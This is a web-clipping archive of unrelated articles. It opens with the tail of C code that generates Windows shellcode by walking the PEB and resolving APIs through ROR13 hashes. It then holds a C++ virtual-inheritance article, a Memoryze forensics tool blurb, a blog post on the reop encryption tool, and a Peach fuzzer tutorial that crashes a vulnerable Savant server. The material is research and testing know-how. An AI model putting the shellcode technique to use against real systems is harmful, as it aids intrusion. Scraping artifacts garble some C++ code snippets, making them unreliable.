                return (HMODULE)module_ptr->Reserved2[0];
            else
                module_ptr = (PLDR_DATA_TABLE_ENTRY)module_ptr->Reserved1[0];
        } while (module_ptr && module_ptr != first_mod);   // because the list wraps,
    
        return INVALID_HANDLE_VALUE;
    }
    
    PPEB __declspec(naked) get_peb(void)
    {
        __asm {
            mov eax, fs:[0x30]
            ret
        }
    }
    
    DWORD __stdcall unicode_ror13_hash(const WCHAR *unicode_string)
    {
        DWORD hash = 0;
    
        while (*unicode_string != 0)
        {
            DWORD val = (DWORD)*unicode_string++;
            hash = (hash >> 13) | (hash << 19); // ROR 13
            hash += val;
        }
        return hash;
    }
    
    DWORD __stdcall ror13_hash(const char *string)
    {
        DWORD hash = 0;
    
        while (*string) {
            DWORD val = (DWORD) *string++;
            hash = (hash >> 13)|(hash << 19);  // ROR 13
            hash += val;
        }
        return hash;
    }
    
    FARPROC __stdcall find_function(HMODULE module, DWORD hash)
    {
        IMAGE_DOS_HEADER *dos_header;
        IMAGE_NT_HEADERS *nt_headers;
        IMAGE_EXPORT_DIRECTORY *export_dir;
        DWORD *names, *funcs;
        WORD *nameords;
        int i;
    
        dos_header = (IMAGE_DOS_HEADER *)module;
        nt_headers = (IMAGE_NT_HEADERS *)((char *)module + dos_header->e_lfanew);
        export_dir = (IMAGE_EXPORT_DIRECTORY *)((char *)module + nt_headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
        names = (DWORD *)((char *)module + export_dir->AddressOfNames);
        funcs = (DWORD *)((char *)module + export_dir->AddressOfFunctions);
        nameords = (WORD *)((char *)module + export_dir->AddressOfNameOrdinals);
    
        for (i = 0; i < export_dir->NumberOfNames; i++)
        {
            char *string = (char *)module + names[i];
            if (hash == ror13_hash(string))
            {
                WORD nameord = nameords[i];
                DWORD funcrva = funcs[nameord];
                return (FARPROC)((char *)module + funcrva);
            }
        }
    
        return NULL;
    }
    
    void __declspec(naked) END_SHELLCODE(void) {}
    
    int main(int argc, char *argv[])
    {
        FILE *output_file = fopen("shellcode.bin", "w");
        fwrite(shell_code, (int)END_SHELLCODE - (int)shell_code, 1, output_file);
        fclose(output_file);
    
        return 0;
    }
    
    
[/code]

* * *
**Possibly related posts: \(automatically generated\)**

  * MemoryLoadLibrary: From C Program to Shellcode
  * Quickpost: Shellcode to Load a DLL From Memory

  

# Wade Not in Unknown Waters. Part Four

**Created:**| _7/31/2013 7:12:12 AM_  
---|---  
**Updated:**| _7/31/2013 7:12:12 AM_  
**Author:**| __  
**Tags:**| _reversing C++11_  
  

#  **W** ade Not in Unknown Waters. Part Four****

15**.** 07.2013 Andrey Karpov

This time we will discuss virtual inheritance in C++ and find out why one
should be very careful using it**.** See other articles of this series: N1 ,
N2 , N3 **.**

## Initialization of Virtual Base Classes****

At first let's find out how classes are allocated in memory without virtual
inheritance**.** Have a look at this code fragment:

[code]

    class Base { ..**.** };
    class X : public Base { ..**.** };
    class Y : public Base { ... };
    class XY : public X, public Y { ..**.** };
[/code]

It's pretty clear: members of the non-virtual base class 'Base' are allocated
as common data members of a derived class**.** It results in the 'XY' object
containing two independent 'Base' subobjects**.** Here is a scheme to
illustrate that:

<img src='img/Temp2_9054.png' alt='Figure 1. Multiple non-virtual
inheritance.' />

Figure 1**.** Multiple non-virtual inheritance.

When we deal with virtual inheritance, an object of a virtual base class is
included into the object of a derived class only once**.** Figure 2 shows the
structure of the 'XY' object in the code fragment below**.**

[code]

    class Base { ... };
    class X : public virtual Base { ..**.** };
    class Y : public virtual Base { ... };
    class XY : public X, public Y { ..**.** };
[/code]

<img src='img/Temp2_9053.png' alt='Figure 2. Multiple virtual inheritance.' />

Figure 2**.** Multiple virtual inheritance.

It is at the end of the 'XY' object that memory for the shared subobject
'Base' is most probable to be allocated**.** The exact implementation of the
class depends on the compiler**.** For example, the classes 'X' and 'Y' may
store pointers to the shared object 'Base'**.** But as far as I understand,
this practice is out of use nowadays**.** A reference to a shared subobject is
rather implemented through offset or as information stored in the virtual
function table**.**

The "most derived" class 'XY' alone knows where exactly a subobject of the
virtual base class 'Base' is to be allocated**.** That's why it is the most
derived class which is responsible for initializing all the subobjects of
virtual base classes**.**

'XY' constructors initialize the 'Base' subobject and pointers to it in 'X'
and 'Y'**.** After that, all the rest members of the classes 'X', 'Y' and 'XY'
are initialized**.**

Once the 'XY' constructor has initialized the 'Base' subobject, the 'X' and
'Y' constructors are not allowed to re-initialize it**.** The particular way
it will be done depends on the compiler**.** For example, it can pass a
special additional argument into the 'X' and 'Y' constructors to tell them not
to initialize the 'Base' class**.**

Now the most interesting thing which causes much confusion and a lot of
mistakes**.** Have a look at the following constructors:

[code]

    X::X(int A) : Base(A) {}
    Y::Y(int A) : Base(A) {}
    XY::XY() : X(3), Y(6) {}
[/code]

What number will the base class's constructor take as an argument - 3 or
6**?** None\!

The constructor 'XY' initializes the virtual subobject 'Base' yet does that
implicitly**.** It is the 'Base' constructor which is called by default**.**

As the 'XY' constructor calls the 'X' or 'Y' constructor, it doesn't re-
initialize 'Base'**.** That's why 'Base' is not being called with an argument
passed into it**.**

Troubles with virtual base classes don't end here**.** Besides constructors,
there are also assignment operators**.** If I'm not mistaken, the standard
tells us that an assignment operator generated by the compiler may assign
values to a subobject of a virtual base class multiple times or once**.** So,
you just don't know how many times the 'Base' object will be copied**.**

If you implement your own assignment operator, make sure you have prevented
multiple copying of the 'Base' object**.** The following code fragment is
incorrect:

[code]

    XY &XY::operator =(const XY &src)
    {
      if (this **!** = &src)
      {
        X::operator =(*this);
        Y::operator =(*this);
        ....
      }
      return *this;
    }
[/code]

This code leads to double copying of the 'Base' object**.** To avoid this, we
should add special functions into the 'X' and 'Y' classes to prevent copying
of the 'Base' class's members**.** The contents of the 'Base' class are copied
just once, in the same code fragment**.** This is the fixed code:

[code]

    XY &XY::operator =(const XY &src)
    {
      if (this **!** = &src)
      {
        Base::operator =(*this);
        X::PartialAssign(*this);
        Y::PartialAssign(*this);
        ....
      }
      return *this;
    }
[/code]

This code will work well, but it still doesn't look nice and clear**.** That's
the reason why programmers are recommended to avoid multiple virtual
inheritance**.**

## Virtual Base Classes and Type Conversion****

Because of the specifics of how virtual base classes are allocated in memory,
you can't perform type conversions like this one:

[code]

    Base *b = Get();
    XY *q = static_cast<XY *>(b); // Compilation error
    XY *w = (XY *)(b); // Compilation error
[/code]

A persistent programmer, though, will achieve that by employing the operator
'reinterpret\_cast':

[code]

    XY *e = reinterpret_cast<XY *>(b);
[/code]

However, the result will hardly be of any use**.** The address of the
beginning of the 'Base' object will be interpreted as a beginning of the 'XY'
object, which is quite a different thing**.** See Figure 3 for details**.**

The only way to perform a type conversion is to use the operator
dynamic\_cast**.** But using dynamic\_cast too often makes the code smell**.**

<img src='img/Temp2_9052.png' alt='Figure 3. Type conversion.' />

Figure 3**.** Type conversion**.**

## Should We Abandon Virtual Inheritance**?**

I agree with many authors that one should avoid virtual inheritance by all
means, as well as common multiple inheritance**.**

Virtual inheritance causes troubles with object initialization and
copying**.** Since it is the "most derived" class which is responsible for
these operations, it has to be familiar with all the intimate details of the
structure of base classes**.** Due to this, a more complex dependency appears
between the classes, which complicates the project structure and forces you to
make some additional revisions in all those classes during refactoring**.**
All this leads to new bugs and makes the code less readable**.**

Troubles with type conversions may also be a source of bugs**.** You can
partly solve the issues by using the dynamic\_cast operator**.** But it is too
slow, and if you have to use it too often in your code, it means that your
project's architecture is probably very poor**.** Project structure can be
almost always implemented without multiple inheritance**.** After all, there
are no such exotica in many other languages, and it doesn't prevent
programmers writing code in these languages from developing large and complex
projects**.**

We cannot insist on total refusal of virtual inheritance: it may be useful and
convenient at times**.** But always think twice before making a heap of
complex classes**.** Growing a forest of small classes with shallow hierarchy
is better than handling a few huge trees**.** For example, multiple
inheritance can be in most cases replaced by object composition**.**

## Good Sides of Multiple Inheritance****

OK, we now understand and agree with the criticism of multiple virtual
inheritance and multiple inheritance as such**.** But are there cases when it
can be safe and convenient to use**?**

Yes, I can name at least one: Mix-ins**.** If you don't know what it is, see
the book "Enough Rope to Shoot Yourself in the Foot" \[3\]

A mix-in class doesn't contain any data**.** All its functions are usually
pure virtual**.** It has no constructor, and even when it has, it doesn't do
anything**.** It means that no troubles will occur when creating or copying
these classes**.**

If a base class is a mix-in class, assignment is harmless**.** Even if an
object is copied many times, it doesn't matter: the program will be free of it
after compilation**.**

## References****

  * Stephen C. Dewhurst**.** "C++ Gotchas: Avoiding Common Problems in Coding and Design"**.** \- Addison-Wesley Professional. - 352 pages; illustrations**.** ISBN-13: 978-0321125187. \(See gotchas 45 and 53\)**.**
  * Wikipedia. Object composition **.**
  * Allen I. Holub. "Enough Rope to Shoot Yourself in the Foot"**.** \(You can easily find it on the Internet. Start reading at section 101 and further on\)**.**

Previous

****

# MANDIANT Memoryze

**Created:**| _12/26/2009 6:30:15 PM_  
---|---  
**Updated:**| _12/26/2009 6:30:15 PM_  
**Author:**| _wishi_  
**Tags:**| _Forensics reversing_  
  
Memoryze <img src='img/MMemoryze_RGB.gif' width='264' height='37' /> MANDIANT
Memoryze is free memory forensic software that helps incident responders find
evil in live memory. Memoryze can acquire and/or analyze memory images, and on
live systems can include the paging file in its analysis. MANDIANT Memoryze
can:

  * image the full range of system memory \(not reliant on API calls\).
  * image a process’ entire address space to disk. This includes a process’ loaded DLLs, EXEs, heaps, and stacks.
  * image a specified driver or all drivers loaded in memory to disk.
  * enumerate all running processes \(including those hidden by rootkits\). For each process, Memoryze can:
    * report all open handles in a process \(for example, all files, registry keys, etc.\).
    * list the virtual address space of a given process including:
      * displaying all loaded DLLs.
      * displaying all allocated portions of the heap and execution stack.
    * list all network sockets that the process has open, including any hidden by rootkits.
    * output all strings in memory on a per process basis.
  * identify all drivers loaded in memory, including those hidden by rootkits.
  * report device and driver layering, which can be used to intercept network packets, keystrokes and file activity.
  * identify all loaded kernel modules by walking a linked list.
  * identify hooks \(often used by rootkits\) in the System Call Table, the Interrupt Descriptor Tables \(IDTs\), and driver function tables \(IRP tables\).

**MANDIANT Memoryze can perform all these functions on live system memory or
memory image files – whether they were acquired by Memoryze or other memory
acquisition tools.** Check out the ways you can use Memoryze.  And, if you
like Memoryze's standalone capabilities, check out MANDIANT Intelligent
Response. It's our enterprise-grade incident response accelerator. MIR has all
the memory forensics of Memoryze, plus a lot more... making enterprise live
response faster and easier, especially for teams of responders. Imagine
Memoryze doing deep memory forensics on thousands of machines at a time, then
having the results easily searchable to find where evil is hiding across your
enterprise. Then add disk analysis and live response. That's Intelligent
Response. Register for updates and sneak peeks to future projects or download
now.  
---

# reop - reasonable expectation of privacy

**Created:**| _4/4/2014 4:59:47 PM_  
---|---  
**Updated:**| _4/4/2014 4:59:47 PM_  
**Author:**| __  
**Tags:**| _crypto opinion_  
  

# reop - reasonable expectation of privacy

One of the obvious ideas I \(and several others had\) as soon as signify was
released was to extend it to do more. After all, no program is complete until
it can read email. Or at least munge up your email real bad.

Enter **reop** \- _reasonable expectation of privacy_.

With some curiosity I read Creating the perfect GPG keypair. My conclusion is
that there’s no such thing has a perfect GPG key pair. And we wonder why
people leak secrets using hotmail. This shouldn’t be hard. More ranting about
GPG at the bottom. Moving on.

_reop_ is clearly influenced by _signify_ \(What can I say? I like my own
designs.\), but it’s not a clone. Its handling of keys is the most significant
difference \(besides the obvious, more features\). Default keys are supported,
and you can even add all your pals to ~/.reop/pubkeyring and verify their
messages automatically, just like a normal PGP program.

Supported operations include signing -S and verifying -V messages, plus a
variety of options for encrypting messages \(-A -D -E\). It does everything
you’d expect a PGP program to do. More accurately, it does everything I expect
you to expect a PGP program to do. I may be wrong, but it kills me to see
people reaching for the _gpg_ or _openssl_ hammer of infinite possibilities
for the simplest of tasks. Limitations below.

There is a \(short\) manual, of course, but there aren’t so many options that
you should need to consult it more than once. Usually the short help text
should be sufficient to get you started. I’ve tried to keep the option
mnemonics reasonable.

reop \# print usage usage: reop -G \[-n\] \[-i ident\] \[-p pubkey -s seckey\]
reop -A \[-i ident\] \[-p pubkey -s seckey\] -m message \[-x encfile\] reop -D
\[-i ident\] \[-p pubkey -s seckey\] -m message \[-x encfile\] reop -E \[-i
ident\] \[-p pubkey -s seckey\] -m message \[-x encfile\] reop -S \[-e\] \[-x
sigfile\] -s seckey -m message reop -V \[-eq\] \[-x sigfile\] -p pubkey -m
message reop -G -i tedu \# create tedu key pair reop -E -i ralph -m message \#
encrypt a message for ralph reop -D -x message.enc \# ralph decrypts my
message

I had a short lived plan to support the real OpenPGP standard, but as I was
scrolling through it, I came across the words “ASN.1 Object Identifiers” and
my monitor went blank to prevent permanent damage. As it is, reop implements a
sort of look-alike/feel-alike facsimile of the standard.

\-----BEGIN REOP SIGNED MESSAGE----- "So, you're the UNIX guru." At the time,
Randy was still stupid enough to be flattered by this attention, when he
should have recognized them as bone-chilling words. \-----BEGIN REOP
SIGNATURE----- ident:tedu
RWS1l0sm+eG0IZ7/JZ7V3Ct584XleF33BQkIiXmHNHjHKWTBZprpVPeiLsCpkRFL1m0y3z7xFBkx
nzoNVbTELwB932C1rdllJwQ= \-----END REOP SIGNED MESSAGE-----

A reop key technically consists of two keys \(one for signing, one for
encrypting\). The interesting part of a reop public key fits in a tweet \(the
----- decoration stuff is too much though\).

\-----BEGIN REOP PUBLIC KEY----- ident:tedu
RWRDU7WXSyb54bQhy9CZ7Qq6kUZMeOkxDeFNDOU/jl6oQp+vfgGbIP9mRinCQ/pnpvqCMjLnDG7I
I8gMZw/P6zJ+jEaFZX+9pTyCYA== \-----END REOP PUBLIC KEY-----

You don’t get to pick your algorithms. I pick them \(sort of; nacl picked
them\). There is theoretical support for future algorithm changes. In general,
reop only asks questions that only the user can answer, and which the user
should be able to answer. Fewer features -> fewer feature options -> fewer
commands to edit, adjust, and otherwise tweak those options.

$ wc reop/\* reop/\*/\* 3038 11969 89452 total $ man gpg2 | wc 3138 15876 150953 $ wc rfc4880.txt 5043 28451 203706 rfc4880.txt 
#### security

I’m guessing you’d rather hear about the fun crypto bits than my infallible
programming skills.  
All the crypto comes from nacl \(indirectly via libsodium\). Specifically,
reop uses crypto\_sign \(Ed25519\), crypto\_box \(Curve25519, Salsa20, and
Poly1305\) and crypto\_secretbox \(Salsa20 and Poly1305\). I have not
personally vetted these functions. Internet told me they were safe. ChaCha20
would be nice; maybe someday.

One thing to note is that the crypto\_box construction \(reop -E\) may not
behave like other public key encryption schemes you are familiar with. It
takes two key pairs; the receiver’s public key as expected and the sender’s
secret key, which offers a measure of authentication.

What the documentation doesn’t really make clear is that same set of keys used
for encrypting work for decrypting \(i.e., it’s not asymmetric\). For
instance, if Alice, sending a message to Bob, encrypts with secAlice and
pubBob, that would normally be decrypted by Bob with pubAlice and secBob. But
secAlice and pubBob work just as well to decrypt. If you were expecting to
encrypt some secret with a public key and then have that computer “forget” how
to access the secret, that won’t work.

reop works around this by introducing the -A \(asymmetric? anonymous?\)
option, which creates an ephemeral key pair for the sender. The sender public
key is embedded in the message; the sender secret key is thrown away; and now
only the recipient with the recipient’s secret key can decrypt the data.
However, now you lose authentication. If that matters, you can sign the
result, but for now you have to compose the operations manually.

Nonces, where necessary, are generated randomly.

The nacl functions are all accessed via wrappers, very similar to the C++
wrappers. The C nacl API requires the caller to provide padded buffers \(i.e.,
ciphertext, auth tag, and zeroed scratch space all contiguous in memory\),
which is somewhat inconvenient for a program like reop. As a result, more
memory is allocated and data copied than strictly mathematically necessary.
Additionally, nacl has a “packet” interface, not a “stream” interface, which
imposes some other limits on message size, but for most practical purposes it
should be fine.

It’s unfortunate, but I think nacl is the closest I’ve ever seen to a software
interface that is perpendicular to the rest of the program. For a program that
is essentially a CLI for nacl, reop spends considerable effort making sure
that things are just so. The ZEROBYTES vs BOXZEROBYTES nonsense is just this
side of ridiculous.

#### limitations

There’s no support for key revocation, or long chains of certificates, or
partial trust, or key servers. For the most part, I think this is feel good
wankery that doesn’t accomplish as much as one would like. I wonder how many
people have ever revoked their PGP keys to see how it works in practice. The
reop trust model is very simple. You can probably even understand it.

Keys don’t expire. If we expand the scope of inquiry slightly to TLS certs,
I’ve lost count of the problems I’ve seen caused by prematurely expiring
certs. Number of times an expired cert has saved my ass? Zero. This is
arguably shortsighted, I know.

You can’t embed a JPG selfie into reop keys. Not even a tiny one.

reop doesn’t include a Tempest resistant font for viewing top zecret messages.

Developed on OpenBSD. Builds elsewhere. Uses libsodium.

I have endeavored to keep the code modular, such that it could be used in a
library, but this is generally thwarted by the knowledge that top-level code
has the privilege of simply giving up when things don’t go its way. Returning
error codes -> having to check error codes.

I’m not enamored with the parsing code. Too much pointer banging.

As promised, a rant. I’m sure there are people who use GPG. I can’t. Let’s run
gpg2 --gen-key.

Please select what kind of key you want: \(1\) RSA and RSA \(default\) \(2\)
DSA and Elgamal \(3\) DSA \(sign only\) \(4\) RSA \(sign only\)

Why, in 2014, is GPG prompting me to create an RSA sign only key, which an RFC
\(4880\) written in 2007 says are deprecated and SHOULD NOT be generated?

Please specify how long the key should be valid. 0 = key does not expire ...
Key is valid for? \(0\) Key does not expire at all Is this correct? \(y/N\)
Key is valid for? \(0\)

Help, I’m trapped in an infinite loop. If the default isn’t the right choice,
it shouldn’t be the default. But here comes my favorite part.

We need to generate a lot of random bytes. It is a good idea to perform some
other action \(type on the keyboard, move the mouse, utilize the disks\)
during the prime generation; this gives the random number generator a better
chance to gain enough entropy. We need to generate a lot of random bytes. It
is a good idea to perform some other action \(type on the keyboard, move the
mouse, utilize the disks\) during the prime generation; this gives the random
number generator a better chance to gain enough entropy.

Holy shit\! What kind of toy random number generator is GPG using? Never mind
that the message is printed twice. Never mind that both messages flick by
before I have half a chance to read them, let alone do anything to entropize
my system. “Wiggle the mouse for moar entropies.” I wouldn’t trust a program
that prints messages like this to protect my middle school slambook.

# Life’s a Peach \(Fuzzer\): How to Build and Use GitLab’s Open-Source
Protocol Fuzzer — spaceraccoon.dev

**Created:**| _5/24/2021 5:07:28 PM_  
---|---  
**Updated:**| _5/24/2021 5:07:28 PM_  
**Author:**| __  
**Tags:**| __  
  

  

## Life’s a Peach \(Fuzzer\): How to Build and Use GitLab’s Open-Source
Protocol Fuzzer

22\. Mai 2021

## Motivation

The Peach protocol fuzzer was a well-known protocol fuzzer whose parent
company — Peach Tech — was acquired in 2020 by GitLab. While Peach Tech had
previously released a Community Edition of Peach fuzzer, it lacked many key
features and updates found in the commercial editions. Fortunately, GitLab has
open-sourced the core protocol fuzzing engine of Peach under the name “GitLab
Protocol Fuzzer Community Edition,” allowing anyone to build and deploy it.
For simplicity, I will refer to the new open-sourced version as Peach Fuzzer.

<img src='img/cnuyg6ga.jpg' width='640' height='427' />

As expected of an early-stage project, the build process is complicated and
not well-documented. In addition, first-time users may have trouble
understanding how to use the fuzzer. Moreover, GitLab's open-sourced version
still lacks important resources such as fuzzing templates, which means you
will have to write them on your own.

To that end, this article aims to demonstrate an end-to-end application of
Peach Fuzzer, from build to deployment. Look out for a subsequent article
where I will touch on the full workflow of finding and exploiting
vulnerabilities using Peach Fuzzer.

## Building Peach Fuzzer

Although Peach Fuzzer can be built on both Linux and Windows, it appeared that
the Linux build flow was broken at the time of writing. As such, I built the
application in Windows , for Windows.

I used the latest version of Windows 10 Professional even though Microsoft
does provide handy virtual machines for free. Due to the onerous dependency
requirements, I highly recommend building Peach Fuzzer in a fresh virtual
machine to avoid messing up your own regular setup.

### Dependencies

The existing documentation on the GitLab repository lists the following build
prerequisites:

  * Python 2.7
  * Ruby 2.3
  * doxygen, java, xmllint, xsltprocx
  * .NET Framework 4.6.1
  * Visual Studio 2015 or 2017 with C++ compilers
  * TypeScript Compiler \(tsc\) v2.8
  * Intel Pin

Let us go through them one by one.

### Python 2.7

Yep, it is already deprecated, but the build flow is explicitly written for
2.7 and is not compatible with Python 3 \(I tried\). Get the `x86-64` MSI
installer at https://www.python.org/downloads/release/python-2718/ and install
it — remember to select the installation option to add it to your PATH\!
Alternatively, if you already have Python 3 installed, you can continue to
install 2.7, and then run Python with `py -2.7 <PYTHON COMMANDS>`.

### Ruby 2.3

While the documentation recommends an outdated version of Ruby, I was fine
installing `Ruby 2.7.2-1 (x64)` from the RubyInstaller download page \(without
DevKit\). Remember to select the option to add this to your PATH. Although you
do not need the MSYS2 toolchain, it would not hurt to have it installed.

### java, xmllint, xsltprocx

This is a long list and it would be probably tedious to install these
dependencies separately. Thankfully, these packages are mostly available via
the Chocolatey Windows package manager. Start by installing Chocolatey with
the instructions found at https://chocolatey.org/install, then run the
following commands in an elevated PowerShell window:

choco install jdk8 choco install xsltproc choco install git

You need to install `git` as well to clone the Peach Fuzzer repository later.

### doxygen

`doxygen` is a special case — you will need to install it from the installer
at https://www.doxygen.nl/download.html. After that, edit the PATH environment
variable to include `C:\Program Files\doxygen\bin`.

### .NET Framework 4.6.1, Visual Studio 2015 or 2017 with C++ compilers

Here is where things get a bit complicated. Even though the documentation
states .NET Framework 4.6.1, it appears that 4.5.1 is necessary as well to
prevent the build process from crashing. Since the latest version of Visual
Studio is 2019, you cannot download Visual Studio 2017 directly. Go to this
download page to get the older versions and create a free Visual Studio Dev
Essentials account to access it. Download `Visual Studio Community 2017
(version 15.9)` and start the installation.

You will be prompted to install the different developer components. I selected
the `Desktop development with C++` workload. In addition, I chose the .NET
Framework 4.6.1 and 4.5.1 SDKs with targeting packs under “Individual
components”. You can see a list of my installation components in the right
sidebar for your reference.

<img src='img/YZIgX32x.png' width='640' height='347' />

Visual Studio Component Installation Screen

### TypeScript Compiler

Although `tsc` appears to be installed by default in Node \(by running `npx
tsc`\), you will also have to install this globally. Install the LTS version
of Node at https://nodejs.org/en/, then run `npm install typescript --global`
in an elevated command prompt and you are all set\!

### Intel Pin

This is another tricky one. The documentation recommends v3.2 81205 but it is
so outdated that the Intel page no longer lists it. You can download them
directly from one of these links:

  1. Windows: http://software.intel.com/sites/landingpage/pintool/downloads/pin-3.4-97438-msvc-windows.zip
  2. Linux: http://software.intel.com/sites/landingpage/pintool/downloads/pin-3.2-81205-gcc-linux.tar.gz
  3. MacOS: http://software.intel.com/sites/landingpage/pintool/downloads/pin-3.2-81205-clang-mac.tar.gz

Since you are building for Windows, you only need the Windows version. Open
the zip file and copy the `pin-3.2-81205-msvc-windows` folder to `protocol-
fuzzer-ce\3rdParty\pin`.

### Hidden Dependencies

There are a few more dependencies for Peach to work, but they are not listed
in the documentation:

  * .NET Framework 4.5.1
  * WinDBG
  * WireShark
  * Visual C++ Redistributable for Visual Studio 2012 Update 4

.NET Framework 4.5.1 can be installed with Visual Studio as described above.
To install WinDBG, follow the instructions at https://docs.microsoft.com/en-
us/windows-hardware/drivers/debugger/debugger-download-tools. WireShark has a
standard installer which you can use without any issues. This will allow you
to use the Windows Debugger and packet monitors.

Since Peach Fuzzer uses `!exploitable` to triage crashes, you will need to
install the specific version `Visual C++ Redistributable for Visual Studio
2012 Update 4` from https://www.microsoft.com/en-
us/download/details.aspx?id=30679. I tested other versions and it only works
with the 2012 version.

### Build Commands

Finally, it is time to build\! Clone the repository and `cd` into it and run
`python waf configure` \(or `py -2.7 waf configure` in my case\). If all goes
well, you should see this:

<img src='img/ui2ApB2H.png' width='640' height='597' />

WAF Configure

If the build fails, it is time to start debugging. I found the error messages
from `configure` helpful as most of the time, the failure is caused by a
missing dependency. You can also use the Visual Studio installer to repair
your installation in case binaries were removed.

After configuration, run `python waf build`. This will build your
documentation as well as the Windows x86 and x64 variants in `protocol-fuzzer-
ce\slag`. Finally, run `python waf install` to create the final binaries and
output to `protocol-fuzzer-ce\output`.

<img src='img/YQW2jXm0.png' width='640' height='597' />

WAF Install

As we did not specify the variant for installation, the installer will
generate files for both debug and release for x86 and x64. For most purposes,
you will want to use the release version of x64; this will be your Peach
directory.

## Running Peach Fuzzer

### Writing Templates

After building Peach Fuzzer, it is time to put it through its paces. Peach
Fuzzer is a generational fuzzer — this means it generates test cases from
user-defined templates. This is especially useful for highly structured file
types or protocols with strict checksums and formatting.

I will demonstrate Peach Fuzzer's capabilities by running my template against
a small test case: a remote buffer overflow via a HTTP request to Savant Web
Server 3.1. It is always good to validate your templates against a known
vulnerable application. Although the open-source version of Peach Fuzzer does
not come with any built-in templates, there are pretty good templates \(known
as Pits in Peach\) available such as this HTTP Pit.

Before writing your templates, I highly recommend reading the “Peach Pro
Developer Guide” that is generated in output\doc\sdk\docs as part of the build
process. It provides details about the individual components of the templates,
as well as the arguments and inputs for the various Peach binaries which I
will not be discussing in this article. Now back to testing the template:

I adapted the previous HTTP Pit file into a generic GET HTTP template:

[code]

     <?xml version="1.0" encoding="utf-8"?>
        <Peach xmlns="http://peachfuzzer.com/2012/Peach" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
            xsi:schemaLocation="http://peachfuzzer.com/2012/Peach ../peach.xsd">
    
            <DataModel name="GetRequest">
                <String value="GET " mutable="false" token="true"/> 
                <String value="/"/>             
                <String value=" HTTP/1.1" mutable="false" token="true"/>
                <String value="\r\n" mutable="false" token="true"/>
    
                <String value="User-Agent: " mutable="false" token="true"/>
                <String value="Mozilla/5.0"/>   
                <String value="\r\n" mutable="false" token="true"/>
    
                <String value="Host: ##HOST##:##PORT##" mutable="false" token="true"/>
                <String value="\r\n" mutable="false" token="true"/>
    
                <String value="Accept: " mutable="false" token="true"/>
                <String value="text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"/>   
                <String value="\r\n" mutable="false" token="true"/> 
                
                <String value="Accept-Language: " mutable="false" token="true"/>
                <String value="en-us"/> 
                <String value="\r\n" mutable="false" token="true"/>
    
                <String value="Accept-Encoding: " mutable="false" token="true"/>
                <String value="gzip, deflate"/> 
                <String value="\r\n" mutable="false" token="true"/>
    
                <String value="Referer: " mutable="false" token="true"/>
                <String value="http://##HOST##/"/>  
                <String value="\r\n" mutable="false" token="true"/>     
    
                <String value="Cookie: " mutable="false" token="true"/>
                <String value=""/>
                        
                <String value="Conection: " mutable="false" token="true"/>
                <String value="Keep-Alive" mutable="false" token="true"/>   
                <String value="\r\n" mutable="false" token="true"/>
                <String value="\r\n" mutable="false" token="true"/>
            </DataModel>    
            
            <DataModel name="GetResponse">
                <String value="" />
            </DataModel>
    
            <StateModel name="StateGet" initialState="Initial">
                <State name="Initial">
                    <Action type="output">
                        <DataModel ref="GetRequest"/>
                    </Action>
                    <Action type="input">
                        <DataModel ref="GetResponse"/>
                    </Action>
                </State>
            </StateModel>   
    
            <Agent name="LocalAgent">
                <Monitor class="WindowsDebugger" />
            </Agent>
    
            <Test name="Default">
                <StateModel ref="StateGet"/>
                <Agent ref="LocalAgent"/>
                <Publisher class="TcpClient">
                    <Param name="Host" value="##HOST##"/>
                    <Param name="Port" value="##PORT##"/>
                </Publisher>
                
                <Logger class="File">
                    <Param name="Path" value="Logs"/>
                </Logger>
                <Strategy class="Sequential" />
            </Test> 
        </Peach>
    
[/code]

In order to support the parameters, Peach Pits must also be accompanied by a
configuration file:

[code]

        <?xml version="1.0" encoding="utf-8"?>
        <PitDefines>
            <All>
                <String key="HOST" value="127.0.0.1" name="Host" description="Server host name or IP"/>
                <String key="PORT" value="21" name="Port" description="Server port number"/>
            </All>
        </PitDefines>
    
[/code]

Thereafter, copy the `http_get.xml` and `http_get.xml.config` into `{PEACH
DIRECTORY}\bin\pits\Net\http_get.xml`. You can rename the folder from `Net` to
any other category. Note: Your templates MUST be in a subfolder of `pits`,
otherwise it will not turn up in the Peach GUI.

Next, from the Peach directory, run `.\Peach.exe`. This will start up the web
interface on port `8888` and open it up in your browser. Lucky you\!

<img src='img/9lV4Z5yL.png' width='640' height='350' />

Peach Web Interface

### Configuring a Fuzzing Session

We are nearly there\! Continue by installing the vulnerable version of Savant
from the Exploit Database page.

Next, go to Library where you should see your HTTP Get template listed. Click
it to start a new Pit configuration. Since we are fuzzing Savant's Web Server,
name the configuration `Savant`.

In the next screen, select `Variables`. From here, overwrite the parameters to
match the host and port that Savant will occupy.

<img src='img/07ThO7Hm.png' width='640' height='340' />

Configure Variables

Next, you will need to add Monitors. If you are running Peach directly from
the CLI, these would already be defined in your template. However, the web
interface appears to require manual configuration. Let us look at the two
steps to do so:

Step One: add an agent. This defaults to local, meaning the agent will run in
the Peach instance itself rather than in a different host. Name it something
reasonable, like `LocalAgent`.

Step two: add a monitor. Since we want to monitor the Savant process for
crashes, we must add a `Windows Debugger` monitor and set the `Executable`
parameter to the path Savant.exe.

<img src='img/1zMGsecJ.png' width='640' height='340' />

Configure Monitors

Peach Fuzzer also comes with lots of useful monitors and automations such as a
popup clicker \(e.g. closing registration reminders\) and network monitoring.
For now, the Windows Debugger is all you need.

Save your monitoring configuration, then go to `Test` to perform a test run.
This will run Savant with one test case to ensure everything goes smoothly. If
all goes well, it is time to run your fuzzing session\!

<img src='img/wYZzmGHG.png' width='640' height='350' />

Successful Test

### Running a Fuzzing Session

Go back to the main dashboard to start your session. Cross your fingers\! In
Savant's case, it will only be a few seconds before you hit your first fault
\(crash\)\!

<img src='img/Wf5rJPgS.png' width='640' height='350' />

Fuzzing Session

Peach Fuzzer will automatically triage your crashes with the WinDbg's
`!exploitable` in the Risk column \(in the screenshot everything is UNKNOWN
due to the missing 2012 Redistributable dependency, but it should be properly
triaged if it is installed\).

You can click on individual test cases to view the proper description and
memory of the crash.

<img src='img/0lW35gw2.png' width='640' height='350' />

Fault Detail

You can also download the test case that caused the crash. If we inspect the
test case for Savant, we will see that Peach Fuzzer modified the `GET /` path
to `GET ///////////...` The WinDBG output also suggests that EIP has been
overwritten. With that, we have proven that the template can successfully
discover the known request header buffer overflow vulnerability in Savant by
fuzzing it. Now go forth and find another target\!

## Conclusion

In terms of free and open-source template-based generational fuzzers,
researchers do not have many options. The biggest alternative is the Python
